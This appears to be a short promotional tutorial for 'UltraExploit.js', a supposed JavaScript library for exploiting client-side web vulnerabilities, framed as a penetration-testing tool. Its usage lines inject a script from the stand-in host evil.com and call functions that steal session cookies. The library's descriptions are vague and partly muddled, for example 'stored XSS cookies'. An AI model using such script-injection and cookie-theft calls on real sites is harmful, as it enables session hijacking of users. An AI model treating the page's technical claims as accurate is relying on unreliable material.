📅  最后修改于: 2023-12-03 15:20:48.460000             🧑  作者: Mango
UltraExploit.js is a powerful Javascript library designed to simplify and automate the process of exploiting client-side vulnerabilities in web applications. It provides a wide range of attack vectors to help penetration testers identify and exploit vulnerabilities in a variety of web browsers.
To use UltraExploit.js, you can either download it from the official website or include it as a script tag in your HTML code:
<script src="path/to/UltraExploit.js"></script>
Using UltraExploit.js is relatively simple. To exploit a specific vulnerability on a web page, you simply need to call the appropriate function with the necessary parameters. For example, to execute arbitrary Javascript code on a vulnerable web page, you would use the executeCode()
function:
UltraExploit.executeCode('alert("Exploited!")');
Similarly, to inject a script tag into the vulnerable page, you can use the injectScript()
function:
UltraExploit.injectScript('http://evil.com/malicious.js');
Additionally, you can use the stealCookie()
function to steal cookies from the user's browser, and the getXssCookie()
function to obtain stored XSS cookies.
UltraExploit.stealCookie('session');
UltraExploit.getXssCookie('session');
UltraExploit.js also provides several other functions for exploiting different types of vulnerabilities. You can find detailed documentation for all available functions on the official website.
UltraExploit.js is a valuable tool for penetration testers who want to automate the process of exploiting client-side vulnerabilities in web applications. It offers a range of useful attack vectors, cross-browser compatibility, and fast, efficient exploitation. While it should be used responsibly and with caution, it can greatly simplify the process of identifying and exploiting client-side vulnerabilities in web applications.